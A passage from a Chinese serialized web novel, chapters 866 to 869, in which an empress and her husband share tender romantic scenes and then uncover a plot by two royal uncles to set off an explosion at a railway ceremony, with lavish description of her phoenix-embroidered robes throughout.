而那长达三丈、与袍服连为一体、毫无接缝的巨型墨色镶宝拖尾,则并未如白日那般精心铺展,而是带着寝居的慵懒与随意,如同一条倦怠的墨色星河,蜿蜒逶迤于宽阔的床榻之上,覆盖了锦被的大半。 其上镶嵌的黑钻、墨玉与深蓝宝,在微弱光线下闪烁着冰冷而璀璨的细碎光芒,仿佛将整条银河都披覆于寝榻。 她并未绾发,如瀑青丝尽数披散,流淌于墨袍的百凤图案、玄色云锦软枕与她光滑的肩颈之间,黑白分明,惊心动魄。 她赤着足,一双玉足从层叠的墨色袍摆下探出,纤巧秀美,微微蜷缩着,蹭着身下冰凉的丝缎。 林臻并未入睡,他半靠在榻边,穿着一身素绸寝衣,墨发披散,手中并未拿着书卷或图纸,只是目光沉静地、带着无尽温柔地凝视着身旁假寐的人儿。 他的一只手随意地搭在屈起的膝上,另一只手则有一搭没一搭地、极其轻柔地梳理着她散落在他腿侧的青丝,指尖划过发丝的触感,细腻而缠绵。 慕容嫣并未真的睡着,长睫如蝶翼般轻轻颤动。她感受着他指尖的温柔,心中甜暖,仿佛被温热的蜜糖包裹。她微微动了动身子,更向他靠近了些,?宽大的喇叭袖无意间拂过他的手背。 “吵醒你了?”林臻低声问,声音在寂静的夜里显得格外低沉悦耳,带着一丝不易察觉的沙哑。 慕容嫣缓缓睁开眼,眸中并无睡意,只有水光潋滟,在朦胧光线下亮得惊人。她微微摇头,声音带着一丝慵懒的软糯:“没有…本来就没睡着。” 她说着,微微仰起脸看他,“夫君怎么还不睡?” “看着嫣儿,便不觉困倦。”林臻唇角微扬,指尖从她的发丝滑落,轻轻拂过她的脸颊,触感细腻微凉,如同上好的暖玉。 慕容嫣脸颊微热,下意识地想躲开他灼人的目光,却被他指尖温柔的力道定住。 她垂下眼睫,?喇叭袖下的手无意识地揪紧了身下的锦褥,小声嘟囔:“…有什么好看的…” “哪里都好看。”林臻低笑,俯下身,额头轻轻抵着她的额头,鼻尖蹭着她的鼻尖,呼吸可闻,气息交融,“眉黛青颦,莲脸生春,倾国倾城…我的嫣儿,怎么看都看不够。” 他的情话直白而热烈,让慕容嫣耳根都红透,心尖酥麻,忍不住伸出喇叭袖下的手,轻轻推了推他的胸膛:“油嘴滑舌…”力道却软绵绵的,毫无威慑力。 林臻顺势握住她推拒的手,指尖穿过她的指缝,与她十指紧紧相扣,然后将她的手轻轻按在自己的心口处。隔着一层薄薄的寝衣,慕容嫣能清晰地感受到他沉稳而有力的心跳,一下一下,撞击着她的掌心,仿佛与她自己的心跳渐渐重合。 “感受到了吗?”他凝视着她的眼睛,声音低沉而认真,“这里,每一下,都是为你而跳。” 慕容嫣的心跳骤然漏了一拍,随即更快地鼓动起来。她被他灼热的目光和直白的话语弄得不知所措,眼神闪烁,想要移开视线,却被他眼底的深情牢牢锁住。 ?墨袍下的身体微微发热,那沉重华服带来的束缚感,此刻似乎也化为了某种奇异的、令人安心的包裹。 “夫君…”她软软地唤了一声,声音里带着她自己都未察觉的依赖与撒娇。 “嗯?”林臻应着,拇指轻轻摩挲着她的手背。 “那幅画…你今日画的…”她忽然轻声问,“…把我画得…太美了些…”她想起白日里画中那个身着极致华服、眼神温柔依赖的女子,总觉得那不完全是真实的自己。 “不美,”林臻摇头,目光专注而真诚,“不及我的嫣儿万分之一。” 他松开她的手,指尖转而轻轻描摹她的眉、她的眼、她的鼻梁、最后流连于她娇艳的唇瓣, “画纸笔墨,终究是死物,如何能描绘出嫣儿万一的风采神韵?” 他的指尖带着灼人的温度,所过之处,仿佛点燃一簇簇细小的火焰。慕容嫣轻轻颤栗,呼吸微促,?喇叭袖下的手臂不自觉地环上他的脖颈,微微仰起头,迎合着他的触碰,眼眸中水光愈盛,如同浸了月华的深潭。 林臻的眸光渐深,俯首,吻上她微张的红唇。这个吻起初温柔而缠绵,如同品尝稀世的美酒,细细啜饮,慢慢深入。渐渐地,力道加重,带着不容置疑的占有与深情,仿佛要将她揉入自己的骨血之中。 慕容嫣软在他怀里,生涩而热情地回应着,?宽大的喇叭袖滑落,露出两截莹白如玉的手臂,紧紧搂着他的脖颈。那长达三丈的墨色拖尾因着她的动作,在锦被上蜿蜒滑动,其上镶嵌的宝石折射着迷离的微光。 许久,林臻才微微松开她,两人呼吸皆是不稳。慕容嫣脸颊绯红,眼波迷离,唇瓣微肿,泛着水润的光泽,靠在他肩头轻轻喘息。 林臻的手臂环着她的腰肢,将她更紧地拥入怀中,下颌轻蹭着她的发顶,声音暗哑:“嫣儿…” “嗯…”慕容嫣软软地应着,将滚烫的脸颊埋进他温暖的颈窝,嗅着他身上清冽好闻的气息,心中被巨大的安全感与甜蜜填满。 月光悄然移动,将相拥的两人笼罩其中。?华贵的墨袍与素绸寝衣交织,?逶迤的拖尾铺满床榻,勾勒出极致奢华又无比亲密的画面。 “夫君…”寂静中,慕容嫣又轻轻唤了一声。 “我在。”林臻低声回应,手臂收得更紧。 “唱曲给我听吧…”她在他怀里蹭了蹭,声音带着浓浓的睡意和撒娇,“…要听上次那个…” 林臻低笑,胸腔震动。他清了清嗓子,依旧用那低沉微哑、并不婉转却充满磁性的嗓音,极轻地哼起那首调子简单、甚至有些走调的江南童谣。歌声低回,在寂静的夏夜里,如同最温柔的催眠曲。 慕容嫣在他怀里找了个最舒适的位置,听着他不成调却充满宠溺的哼唱,感受着他胸膛传来的震动与温暖,嘴角弯起甜蜜的弧度,眼皮渐渐沉重。 哼着哼着,她的呼吸变得均匀绵长,终于沉入黑甜的梦乡。 林臻察觉到怀中人儿气息的变化,停下哼唱,低头凝视她恬静的睡颜许久,才在她光洁的额头上印下一个轻柔如羽的吻。 “晚安,我的嫣儿。”他低声呢喃,拥着她,一同沉入安宁的梦乡。 殿外月华如水,殿内凉夜如春。?墨色的凤凰栖息于爱人温暖的怀抱,?华服逶迤,如同最温柔的襁褓。 第866章 虞美人 盛夏午后,蝉鸣聒噪,摄政王府的暖阁内却是一片沁人的清凉。四角的冰山无声地散发着丝丝寒气,将酷暑彻底隔绝在外。 雕花长窗半开,垂着轻薄如烟的月影纱,既滤去了过于刺目的阳光,又让庭院中草木葳蕤的绿意朦胧透入,满室生凉。空气中弥漫着冷梅香与书卷墨香交织的清雅气息。 慕容嫣并未午憩,而是慵懒地倚在窗边一张宽大的紫檀木嵌螺钿贵妃榻上。榻上铺着触手生凉的云水绫软垫,四周散落着数个苏绣引枕。 她身上所穿,依旧是那身玄黑色百凤墨袍。极致玄黑的底色,在透过纱窗的柔和光线下,呈现出一种比最深的子夜更沉静、比最润的墨玉更温软的质感,吸吮着光线,却又自最深处折射出幽蓝与暗紫的微妙光泽,神秘而高贵。 ?袍服之上,那一百只以无数珍稀金银彩线、采用绝世“盘金蹙绒”并“缀珠绣”工艺织就的凤凰,在漫射的光线下,光华流转得极为内敛柔和,赤金温润,玫金娇艳,银白皎洁,紫金贵气,凤眸上的细小红蓝宝石折射出星子般的微光,百凤姿态安详,或栖或翔,栩栩如生,仿佛只是在她身上暂歇。 ?宽大无比的喇叭袖一只铺陈在榻上的软垫,袖口边缘缀着的细密黑珍珠流苏纹丝不动,另一只则柔顺地垂落榻沿。 而那长达三丈、与袍服连为一体、毫无接缝的巨型墨色镶宝拖尾,则被极其精心地处理——并非随意铺散,而是被拢起,层叠铺放在榻内侧一张特制的、铺着厚软墨绿色丝绒的矮榻上,蜿蜒如一条沉睡的墨色星河,其上镶嵌的黑钻、墨玉与深蓝宝,在柔和光线下闪烁着冰冷而璀璨的星点光芒,华贵至极。 她并未绾发,如云青丝以一支通透的墨玉长簪松松绾就,余下长发如瀑,披散于肩背,流淌在墨袍的百凤图案与云水绫软垫之上。 她赤着足,一双玉足从层叠的墨色袍摆下探出,纤巧秀美,脚踝玲珑,微微蜷缩着。 她的手中并未拿着账本或画谱,而是捧着一本装帧精美的前朝词集,目光却并未落在书页上,而是微微侧着头,望着窗外被纱帘过滤后显得格外柔和的绿意,眼神带着一丝慵懒的放空,长睫低垂,在白皙的脸颊上投下淡淡的阴影。 林臻坐在榻边不远处的一张花梨木书案后,面前摊开着几份关于新式织机改良的图纸与文书。他穿着一身素雅的雨过天青色细麻常服,墨发以一根简单的羊脂玉簪半绾,身姿挺拔,目光沉静地落在图纸上,时而执笔批注几字。 暖阁内极其安静,只有冰融化的细微滴水声,以及林臻笔尖划过纸张的沙沙声。 过了许久,林臻似乎处理完了一部分公务,放下笔,揉了揉略显疲惫的眉心,抬眸望向榻上的人儿。见她目光空茫地望着窗外,一副神游天外的模样,不由唇角微扬。 他起身,并未惊动她,而是走到榻边的小几旁,执起那柄甜白釉玉壶春瓶,将冰镇好的桂花酸梅汤注入一只同质地的玉盏中,清甜的香气悄然弥漫。 他端着玉盏,走到榻边,极其自然地坐在榻沿,位置正好是那墨色拖尾蜿蜒的起点。他并未立刻出声,只是目光温柔地流连于她被柔和光线下晕染得格外静谧的容颜。 慕容嫣似有所觉,长睫微颤,缓缓收回目光,转向他。见到他手中的玉盏,她眼眸微微一亮,像只被美味吸引的小猫。 “醒了?”林臻低笑,将玉盏递到她唇边,“喝点酸梅汤,解解暑气。” 慕容嫣就着他的手,小口啜饮着冰凉爽甜的汤汁,满足地眯起了眼睛,?喇叭袖下的手轻轻搭在他的手腕上。 “夫君忙完了?”她声音带着刚回神的软糯。 “嗯,暂且告一段落。”林臻用指腹轻轻擦去她唇角一点水渍,目光落在她搁在一旁的词集上,“嫣儿在看什么?” “随手翻翻,”慕容嫣微微起身,靠他更近些,?墨袍上的百凤随之轻轻波动,带来细微的窸窣声。她将词集递到他眼前,随意指了一处, “看到这首李后主的《虞美人》,‘春花秋月何时了’…总觉得太过悲凉了些。” 林臻接过词集,扫了一眼,并未多看词句,而是就着她的手,将书合上,放到一旁。他低头,目光深邃地望入她的眼底:“我的嫣儿,不喜悲凉,只该看些欢喜的。” 慕容嫣微微嘟唇:“可是…词总是悲的才动人…” “那便不看词了,”林臻轻笑,伸手,极其自然地将她揽入怀中,让她靠在自己肩头,“看我可好?” 慕容嫣脸颊微热,嗔怪地睨了他一眼,?喇叭袖下的手却下意识地揪紧了他常服的衣襟:“夫君有什么好看的…”语气里却带着藏不住的甜意。 “不好看么?”林臻故作失望,低头,用鼻尖蹭了蹭她敏感的耳廓,带来一阵细微的战栗,“那为夫可得好好问问,我的嫣儿平日里总瞧着谁?” “你…你明知道…”慕容嫣被他蹭得痒痒,忍不住缩着脖子轻笑,往他怀里躲去,?宽大的喇叭袖拂过他的脸颊,带起一丝冷梅暗香。 林朗笑出声,手臂收紧,将她牢牢圈在怀里,低头凝视着她泛红的脸颊和闪烁的眼眸:“我知道什么?嗯?嫣儿说说,我知道什么?” 他的气息拂过她的面颊,带着酸梅汤的清甜和他身上特有的清冽气息,目光灼灼,充满了戏谑与宠溺。 慕容嫣被他看得心跳加速,羞赧不已,索性将脸埋进他肩窝,声音闷闷地传来:“…就知道欺负我…” “这怎是欺负?”林臻低笑,指尖轻轻穿过她披散的发丝,抚摸着她的后颈,动作轻柔而带着无限的珍视,“这是…疼爱。” 最后两个字,他几乎是贴着她耳廓说出,气息温热,声音低沉而磁性,带着不容置疑的深情。 慕容嫣只觉得耳根一阵酥麻,那酥麻感迅速蔓延至全身,让她软在他怀里,连指尖都微微发颤。?华贵的墨袍似乎也隔绝不了他掌心的温度和话语带来的悸动。 她微微抬起头,眸光水润地望着他,红唇微张,似嗔似怨,却更似邀请。 林臻眸光一暗,不再多言,缓缓低下头,吻上了那两瓣娇艳诱人的红唇。 这个吻起初温柔而缠绵,如同品尝夏日最甜美的冰酿,细细啜饮,慢慢深入。渐渐地,力道加重,带着积攒了一日的思念与深情,仿佛要将她融入自己的骨血之中。 第867章 再起波澜 慕容嫣软软地回应着,?喇叭袖下的手臂不自觉地环上他的脖颈,指尖插入他浓密的发间。那长达三丈的墨色拖尾因着她的动作,在丝绒榻上微微滑动,其上镶嵌的宝石折射出迷离的微光。 许久,林臻才微微松开她,两人呼吸皆是不稳。慕容嫣脸颊绯红,眼波迷离,靠在他肩头轻轻喘息,?墨袍的领口微微散开,露出一小截精致的锁骨。 林臻的手臂依旧环着她的腰肢,指尖有一下没一下地轻抚着她墨袍上冰凉丝滑的凤羽刺绣,目光依旧胶着在她染着红霞的容颜上。 “嫣儿…”他低声唤道,声音带着情动后的沙哑。 “嗯…”慕容嫣软软地应着,声音糯得能滴出水来。 “乏不乏?”他低声问,指尖拂过她微烫的脸颊。 慕容嫣摇摇头,在他怀里蹭了个更舒适的位置,仰起脸看他,眼中带着一丝依赖与撒娇:“夫君念书给我听吧…不要看那些图纸了…” “好,”林臻毫不犹豫地应下,俯身从榻边小几上拿起那本词集,随意翻开一页,却并未看内容,而是低头看着她,“想听什么?” “随便…”慕容嫣闭上眼,将耳朵贴近他的胸膛,听着他沉稳有力的心跳,感觉无比安心。 林臻低笑,一手揽着她,一手拿着书,并未真的照本宣科,而是用他那低沉悦耳的嗓音,即兴编撰起一些不着调的小故事,内容无非是才子佳人、花精狐魅,语调舒缓,声音温柔。 慕容嫣闭着眼,听着他胡编乱造的故事,感受着他胸膛的震动和指尖温柔的抚触,嘴角始终带着甜甜的笑意。 午后的阳光透过纱窗,变得极其柔和,笼罩在相拥的两人身上。那华贵沉重的墨袍与素麻常服交织,?逶迤的拖尾铺满榻侧,勾勒出极致奢华又无比亲密的画面。 渐渐地,他的声音越来越低,越来越缓。慕容嫣的呼吸也变得均匀绵长,竟是在他怀里沉沉睡去。 林臻察觉到怀中人儿气息的变化,停下讲述,低头凝视她恬静的睡颜许久,才小心翼翼地调整姿势,让她睡得更舒服,细心地为她拉好散开的衣襟,又拉过一旁轻薄的鲛绡丝被,盖在她身上,连那拖尾也细心盖好。 他在她光洁的额头上印下一个轻柔如羽的吻。 “睡吧,我的嫣儿。”他低声呢喃,保持着拥她入怀的姿势,也阖上了眼,与她一同沉入宁静的午憩。 窗外蝉鸣依旧,室内凉意宜人。?墨色的凤凰栖息于爱人温暖的怀抱,?华服逶迤,如同最温柔的襁褓,时光在此刻仿佛悄然停滞,只剩下无尽的缱绻与安宁。 ...... 辰时三刻,朝阳初升,金銮殿一百零八根蟠凤金柱在晨曦中熠熠生辉。慕容嫣端坐于九凤朝阳宝座之上,一袭玄黑凤袍庄重威严。 袍服以墨色云锦为底,用暗金丝线绣出九只形态各异的凤凰,每只凤凰的羽翼都细腻逼真,凤目以黑曜石镶嵌,在光影流转间闪烁着幽深光芒。 最引人注目的是那对宽大的喇叭袖,以轻薄的墨纱制成,袖口宽达三尺,绣着金凤展翅的图案。 每当她抬手时,墨纱喇叭袖便如凤翼般舒展,暗金丝线在阳光下流转生辉。两丈余长的拖尾铺展在玉阶之上,以银线锁边,缀着九百九十九颗细小的玄铁珠,行动时发出清脆悦耳的声响,如凤鸣九霄。 “众卿平身。”慕容嫣的声音清越沉稳,喇叭袖轻轻拂过鎏金扶手。 文武百官依礼起身分列两侧。左侧以宰相张文渊为首的传统文官袍袖宽大,右侧则站着不少穿着新式窄袖朝服的年轻官员——这些都是近年来由女帝和林臻提拔的技术官僚。 “启奏陛下,”工部尚书出列躬身,手持的玉笏上刻着凤凰纹样,“京畿铁路昨日已全线贯通,首列蒸汽机车''轩辕号''辰时自南门发车,预计午时便可抵达百里外的河间府。” 朝堂上响起一阵细微的骚动。老臣们交换着眼神,有人捋须颔首,有人蹙眉不语。 慕容嫣唇角微扬,凤眸扫过群臣:“林爱卿又在工部通宵达旦了?” 话音未落,殿门外忽然传来清朗的应答:“臣幸不辱命!” 众人回首,但见林臻大步踏入殿中。他今日未着朝服,反而穿着一身藏青工装,袖口还沾着些许油污,与金碧辉煌的大殿格格不入。 几个老臣忍不住摇头侧目。 “臣刚随''轩辕号''试运行归来,”林臻向御座躬身一礼,抬头时与慕容嫣交换了一个只有彼此才懂的眼神,“往返二百里,仅用两个时辰,较最快驿马还快了三倍有余。” 慕容嫣眸中闪过笑意,宽大的喇叭袖轻轻摆动:“林爱卿劳苦功高。不过今日朝会,你迟到了。” “臣知罪。”林臻嘴上请罪,眼里却带着几分狡黠,“愿将功折罪,请陛下与诸位同僚移驾南门,观''轩辕号''正式通车盛况。” 没等老臣们反对,慕容嫣已拂袖起身,墨黑凤袍的拖尾在玉阶上铺展如云:“准奏。” 退朝后,慕容嫣与林臻并肩而行,墨黑拖尾在身后迤逦。行至无人处,她自然地挽住他的手臂,喇叭袖如凤翼轻覆在他腕间。 “夫君昨夜又宿在工部了?”她轻声问道,语气中带着关切。 林臻为她整理略微歪斜的凤冠,指尖拂过她鬓角:“''轩辕号''最后调试,不得不盯着。倒是嫣儿,今日朝会上似乎心事重重。” 慕容嫣眸光微暗,喇叭袖中的手轻轻握紧:“两位皇叔今日又称病不朝,这已是本月第三次了。” 林臻眉头微蹙:“自铁路规划经过他们封地,二位皇叔便一直称病。昨日靖王府还递了折子,说铁路惊扰祖陵风水。” “何止。”慕容嫣冷笑,墨黑凤袍上的金凤仿佛也振翅欲怒,“雍王府前日呈报,说蒸汽机轰鸣震裂王府祖祠梁柱,要求朝廷赔偿白银十万两。” 说话间已至御书房。慕容屏退左右,宽大的喇叭袖轻轻一挥,闭目养神的凤凰图案在烛光下若隐若现。 林臻为她斟上一杯参茶:“两位皇叔这是借题发挥。铁路线路你我都亲自勘察过,距两府祖陵皆在十里开外。” 慕容嫣接过茶盏,墨纱喇叭袖滑落,露出皓腕上的一对金丝嵌翡翠凤凰镯:“朕自然知道。只是...”她欲言又止,凤眸中闪过一丝忧虑。 林臻握住她的手:“只是什么?” “昨日暗卫来报,两位皇叔虽称病不朝,府中却夜夜笙歌。”慕容嫣声音渐冷,“更可疑的是,靖王府近日以修缮祖陵为名,从西山采石场运走了大量石料。” “石料?”林臻敏锐地抬头,“西山石料质地特殊,最适合...” “建造防御工事。”慕容嫣接口道,指尖无意识地摩挲着茶盏上的凤纹。 二人正说着,女官匆匆入内:“陛下,靖王府送来密折。” 慕容展开一看,竟是靖王亲笔所书,言辞恳切地请求主持祭天大典:“臣虽病体未愈,然念及祭天事关国运,愿勉力为之。” 林臻看过奏折,眉头紧锁:“祭天大典历来由陛下亲自主持,靖王此举何意?” 慕容嫣冷笑,墨黑凤袍上的金凤仿佛也目露寒光:“祭天大典需动用禁军三千,仪仗万人。若由他主持...”她忽然起身,喇叭袖如凤翼般展开,“传朕旨意,准靖王所请。” “嫣儿!”林臻急道,“这太冒险了。” 慕容嫣转身,墨黑拖尾扫过地面:“朕正要看看,他们究竟要唱哪出戏。”她唇角微扬,“况且,夫君不是新研制了那些''小玩意''吗?” 林臻顿时了然:“你是说...电报机和那个...” “没错。”慕容嫣眸光闪动,“就让这场祭天大典,变成检验新装备的试炼场吧。” 傍晚时分,慕容嫣换上一袭墨黑常服,喇叭袖略窄,但仍绣着暗金凤纹。她与林臻并肩立于宫墙上,望着远处渐渐亮起的万家灯火。 “还记得三年前吗?”林臻忽然开口,“你刚登基时,两位皇叔也是这般称病不朝。” 慕容嫣轻笑,喇叭袖在晚风中轻扬:“那时他们以为女子可欺,想在朝堂上给朕难堪。可惜...”她语气转冷,“他们低估了这只凤凰。” 林臻揽住她的肩:“如今你推行新政,触动他们利益,他们怕是坐不住了。” 慕容嫣靠在他肩上,墨黑常服上的暗凤在暮色中若隐若现:“夫君,若有一日...朕不得不与皇叔兵戎相见...” “那我便与你并肩而战。”林臻语气坚定,“无论现代还是古代,我永远站在你这边。” 夜色渐深,二人相携而下。慕容嫣的墨黑拖尾在石阶上缓缓滑过,如凤凰归巢。 而在遥远的雍王府内,烛火通明。慕容弘与慕容璋对坐弈棋,棋盘上黑白子杀得难解难分。 “祭天大典之事,陛下竟然准了。”慕容弘落下一子,唇角带笑。 慕容璋轻笑:“她当然会准。这小丫头最喜欢玩欲擒故纵的把戏。”他忽然压低声音,“东西都准备好了?” 慕容弘点头,眼中闪过厉色:“西山石料已运抵指定地点,死士也都就位。只等祭天大典那日...” 窗外忽然掠过一道黑影,如凤翔九天,转瞬消失在夜色中。 宫墙上,一名黑衣侍卫跪在慕容嫣面前:“陛下,雍王府确有异动。” 慕容嫣挥手令其退下,转身时墨黑喇叭袖在月下如凤翼舒展。 “风暴要来了。”她轻声道,眸中却燃着灼灼光芒,“正好让朕看看,这些年养的凤凰,能不能撕碎这些魑魅魍魉。” 夜风吹起她宽大的喇叭袖,暗金凤纹在月光下流转,如真正的凤凰在夜色中展翅欲飞。 第868章 制作火药 夜色如墨,养心殿内烛影摇曳。慕容嫣褪去朝服,换上一袭墨黑睡裙,这睡裙以极细的墨蚕丝织就,质地轻软如云,却泛着暗哑流光。 每一根丝线都掺着金丝,在烛光下若隐若现,仿佛夜空中闪烁的星辰。裙摆迤逦及地,绣着九只闭目养神的金凤,每只凤凰的羽翼都以金线掺着墨丝绣成,层层叠叠的羽毛细腻逼真,凤尾迤逦舒展,几乎铺满整个裙裾。 最令人惊叹的是那对喇叭袖,以半透明的玄绡制成,袖口宽大如凤翼,直径足有二尺有余。袖上绣着精致的凤凰于飞图案,从肩部开始,金凤展翅高飞,羽翼逐渐舒展,至袖口处完全展开,仿佛随时要破袖而出。 袖缘缀着九百九十九颗细小的黑珍珠,每颗珍珠都经过精心打磨,在烛光下泛着柔和的光泽。每当她抬手时,珍珠便发出细微的碰撞声,如凤鸟低语,清脆悦耳。 睡裙的腰封以墨玉片串联而成,每片玉片都雕刻着凤凰羽纹,正中镶嵌着一颗鸽血红宝石,恰似凤凰衔珠。腰封下悬着十二串墨玉珠链,随着行动轻轻摆动,与袖口的珍珠声相和,奏出独特的韵律。 林臻推门而入,见到妻子这身装扮,不禁怔住:“这睡裙...可是尚衣局新制的?”他走近细看,指尖轻触袖口玄绡, “这绣工非凡,凤凰栩栩如生,特别是这羽毛的层次感...”他忽然皱眉,“但嫣儿今日特意换上这般华服,可是有心事?” 慕容嫣在梳妆台前坐下,墨黑睡裙铺展如云,裙摆上的金凤在烛光下仿佛在轻轻呼吸:“今日靖王府又递了折子,说铁路震动惊扰祖陵,要求停工。这已是本月第三回了。” 她从妆匣中取出一份密报,“暗卫发现,雍王府近日以修缮祠堂为名,从西山运走大量石料。但奇怪的是,这些石料并未运往雍王府。” 林臻接过密报细看,面色渐凝:“西山石料质地坚硬,最适合建造防御工事。但若是要建工事,何必如此隐秘?” 他忽然想到什么,“除非...他们不是在修建防御工事,而是在破坏什么。” 烛火噼啪一声,慕容嫣眸中闪过寒光:“更可疑的是,靖王府同时采购了大量药材,但府中并无人生病。” “药材?”林臻敏锐抬头,“哪些药材?” “多是制作火药的原料。”慕容嫣起身,墨黑睡裙的拖尾扫过地面,发出簌簌声响,“硝石、硫磺、木炭...夫君不觉得太过巧合了吗?” 忽然,窗外传来三声鸟鸣——暗卫的紧急信号。慕容嫣披上墨绒斗篷,宽大的喇叭袖在斗篷下若隐若现,袖口的黑珍珠在月光下泛着幽光。 片刻后,暗卫长跪禀:“陛下,靖王府今夜有北漠客商到访,运送的皮货中藏有兵器。更可疑的是,他们交接时用了北漠王室的手语。” 慕容嫣指尖轻叩妆台,墨玉戒指与台面碰撞发出清脆声响:“果然如此。继续监视,但切勿打草惊蛇。”她转身对林臻道,“夫君,新式电报机可调试好了?” 林臻点头:“昨日已调试完毕,最远可传讯百里。只是...”他迟疑道,“电报内容需加密,否则易被截获。” 慕容嫣唇角微扬,从妆匣底层取出一本古籍:“这是太祖皇帝留下的《金凤密文》,历来只有帝王能阅。从今日起,所有电报皆用此密文。” 她翻开书页,露出密密麻麻的凤凰符号,“每个符号代表一个音节,外人看来只是凤凰图案。” 忽然,更鼓声响起,已是子时。慕容嫣褪下斗篷,墨黑睡裙在烛光下泛着幽光:“明日朕要召见两位皇叔,倒要看看他们如何演戏。” 林臻为她整理寝具,忽然注意到睡裙后襟绣着一只特殊的凤凰——与其他闭目养神的凤凰不同,这只凤凰双目微睁,似在窥视。 “这凤凰...” 慕容嫣轻笑:“尚衣局的巧思。说这叫''垂目金凤'',看似闭目养神,实则洞察一切。”她忽然压低声音,“就像朕那两位皇叔,表面称病不朝,暗地里却动作不断。” 次日清晨,慕容嫣特意择了一袭墨黑朝服,绣着九只垂目金凤。朝服以玄色云锦为底,用暗金丝线绣出凤凰图案,每只凤凰的眼睛都以黑曜石镶嵌,在光线下变幻莫测。 宽大的喇叭袖上绣着展翅金凤,袖口缀着细小的墨玉珠,行动时如凤鸣般清脆。 当双王应召入宫时,她正端坐凤椅,宽大的喇叭袖铺展在扶手上,如凤翼待展。 “皇叔病体可好些了?”慕容嫣语气温和,眸中却锐光一闪。 慕容弘躬身道:“劳陛下挂心,臣这是老毛病了,每逢春秋必犯。” 慕容璋接着道:“臣也是旧疾复发,不得不静养。” 慕容嫣轻笑,喇叭袖微微颤动:“巧了,朕昨日得了一味良药,说是专治各种疑难杂症。”她示意女官呈上一个锦盒,“这是北漠进贡的雪莲,最是滋补,就赐予二位皇叔吧。” 双王面色微变——北漠正是他们秘密联络的对象。 慕容嫣仿佛未见他们异样,继续道:“另外,铁路明日就要贯通了,二位皇叔既是宗室长辈,当与朕同往观礼。” 退朝后,林臻低声道:“嫣儿这是要打草惊蛇?” 慕容嫣冷笑,墨黑朝服上的垂目金凤仿佛也目光锐利:“朕就是要看看,被惊动的蛇会往哪里钻。” 果然,当夜暗卫来报:双王府中各有异动。慕容弘派心腹往西山而去,慕容璋则深夜密会北漠客商。 慕容嫣听着禀报,指尖轻抚睡裙上的绣凤:“继续监视,朕要看看他们究竟要玩什么把戏。” 三更时分,又一份密报传来:西山石料并未用于修建工事,而是...不知所踪。 慕容嫣蓦然起身,墨黑睡裙的拖尾扫翻烛台:“不好!他们是要...” 林臻急忙扶住她:“怎么了?” “西山石料质地特殊,最适合建造祭坛!”慕容嫣脸色骤变,“明日铁路贯通典礼,他们要在祭坛下手!那些火药原料...是要在祭典时制造爆炸!” 她立即传令:“速传工部尚书入宫!另着禁军统领即刻来见!” 夜深如墨,养心殿内灯火通明。慕容嫣仍穿着那袭墨黑睡裙,外罩一件玄绒斗篷,如暗夜中的凤凰,眸中燃烧着灼灼光芒。 工部尚书与禁军统领领命而去后,林臻担忧道:“嫣儿,若明日真有变故...” 慕容嫣转身,睡裙上的垂目金凤在烛光下仿佛睁开双眼:“那正好让天下人看看,什么是真正的凤凰涅槃。” 她走到窗前,望着沉沉夜色,宽大的喇叭袖在夜风中轻扬:“夫君,明日不论发生什么,都要护好电报机。那将是咱们致胜的关键。” 林臻郑重颔首,为她系好斗篷:“放心,新式电报机已改装完毕,即便在移动中也能传讯。” 慕容嫣忽然轻笑,从袖中取出一物:“你看这是什么?” 林臻接过一看,竟是微型电报键,以黄金打造,键钮上雕刻着精细的凤凰图案:“这是...” “尚衣局特制的。”慕容嫣展示墨黑睡裙的腰封,内侧暗藏微型电路,“明日若有变故,朕随时可以发报。每个凤凰图案代表一个指令,比如...”她指尖轻抚腰封上的一只展翅凤凰,“这是调动禁军的指令。” 林臻惊叹不已,忍不住拥住妻子:“我的嫣儿真是...举世无双。” 慕容嫣靠在他怀中,墨黑睡裙上的金凤仿佛也温柔了目光:“因为朕知道,无论发生什么,都有你在身边。” 夜色更深,二人相拥而立。慕容嫣的墨黑睡裙与夜色交融,唯有金凤绣纹在月光下流转,如暗夜中蛰伏的凤凰,静待黎明展翅。 而在遥远的西山,一群黑影正在秘密忙碌。祭坛的轮廓在月光下渐渐清晰,坛心深处,暗藏杀机。慕容德站在坛前,手中拿着一份图纸,嘴角露出得意的笑容:“明日,就让那只凤凰尝尝坠落的滋味。” 他不知道的是,远处山坡上,几个黑影正静静注视着这一切。为首的暗卫长轻轻按下手中的电报键,一条加密信息悄无声息地传向皇宫。 “凤栖梧桐,待展翅。” 第869章 蒸汽喷射器 子时的更鼓刚刚敲过,养心殿内却灯火通明。慕容嫣身着一袭新制的墨黑睡裙,这袭睡裙比往日更加华丽精致。 以极北之地的夜光蚕丝织就,在烛光下泛着幽蓝的微光,仿佛将整条银河织入了裙中。 裙摆上用暗金丝线绣着九十九只形态各异的凤凰,每只凤凰的羽翼都用了七种不同的金线,从浅金到暗金,层层叠叠,在光影流转间呈现出立体的效果,仿佛随时会振翅飞出。 最令人惊叹的是那对喇叭袖,采用三层墨纱制成,内层绣着闭目养神的凤凰,中层是展翅欲飞的图案,外层则是透明的玄绡,绣着凤凰于飞的祥云纹。 当慕容嫣静止时,只见内层的安详凤凰;当她抬手时,三层的凤凰图案叠加,呈现出凤凰翱翔九天的动态效果。 袖缘缀着九百九十九颗细小的黑钻,每颗都切割成凤凰羽毛的形状,轻轻一动便发出如凤鸣般的清脆声响。 睡裙的腰封以玄铁为骨,外包墨玉片,每片玉片上都微雕着一幅凤凰图,需要借助放大镜才能看清细节。 腰封正中镶嵌着一颗罕见的暗夜明珠,在黑暗中会发出柔和的光芒,正好照亮胸前的金凤刺绣。 裙裾后摆长达两丈,以银线锁边,缀着细小的玄铁珠,行动时发出清脆声响,如凤鸣九霄。 “陛下,急报!”暗卫长匆匆入殿,跪地呈上一封密信,“北漠联军已突破居庸关,距京城不足二百里!先锋部队打着靖王旗号,约有五万之众!” 慕容嫣接过密信,墨黑睡裙在烛光下流转出万千光华。她细看军报,眉头微蹙:“五万之众?北漠三部何时能集结如此多的兵力?” 林臻接过军报细看,面色凝重:“这绝非寻常。北漠三部素来不和,能让他们联合出兵,必定许下了重诺。”他指着军报上的细节,“看这里,敌军配有攻城器械,更可疑的是,他们竟有火器!” 慕容嫣眸中寒光一闪:“必是慕容德带走的图纸所制!夫君,立即传令工部,彻查所有火药库存量,特别是那三辆失踪的冷藏车去向。” 忽然,窗外传来三声急促的鸟鸣声。暗卫长立即隐入阴影中,慕容嫣宽大的喇叭袖轻轻一拂,烛火顿时暗了几分。 